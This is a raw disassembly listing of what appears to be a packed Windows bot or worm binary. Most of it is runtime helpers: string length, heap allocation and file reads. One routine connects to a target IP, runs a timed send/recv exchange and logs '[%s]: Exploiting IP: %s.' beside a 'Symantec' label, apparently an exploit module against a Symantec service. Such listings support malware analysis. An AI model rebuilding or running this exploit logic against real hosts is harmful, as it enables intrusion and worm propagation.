		push	[esp+4+arg_0]
		push	offset aS_2	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: .packed:0041B843p
					; .packed:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADD4
		movsd
		movsb
		mov	esi, offset dword_4DBDCC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB88C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24	; send
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24	; send
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA24	; send
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA24	; send
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA24	; send


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24	; send
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24	; send
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA24	; send
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA24	; send
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA24	; send


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-38h]
		mov	ax, word_4346DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADDC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA54	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA6C	; closesocket


loc_41B724:				; CODE XREF: .packed:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA14	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9D4	; htons
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C	; connect
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: .packed:0041B7CEj
					; .packed:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9EC	; recv
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: .packed:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA24	; send
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: .packed:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA24	; send
		push	1
		pop	edi


loc_41B800:				; CODE XREF: .packed:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: .packed:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: .packed:0041B756j
					; .packed:0041B7B2j ...
		push	ebx
		call	dword_4CBA6C	; closesocket
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: .packed:0041B781j
					; .packed:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA24	; send
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCCC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: .packed:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCCC[eax]
		push	eax
		push	offset dword_43ADD8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi	; Sleep
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: .packed:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi	; Sleep
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: .packed:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi	; Sleep
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi	; Sleep
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: .packed:0041B950j
		push	258h
		call	esi	; Sleep
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA6C	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431800[eax]
		push	1
		lea	eax, dword_431800[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: .packed:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; sub_401221+14Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD384
		call	dword_42714C	; RtlFreeHeap


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; sub_40FA3C+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD380
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD384
		call	dword_427150	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		call	dword_4271A0	; RtlReAllocateHeap
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE48, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE74
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD384
		call	dword_427150	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		call	dword_4271A0	; RtlReAllocateHeap
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE48, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		call	dword_4271A0	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE48, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE48
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
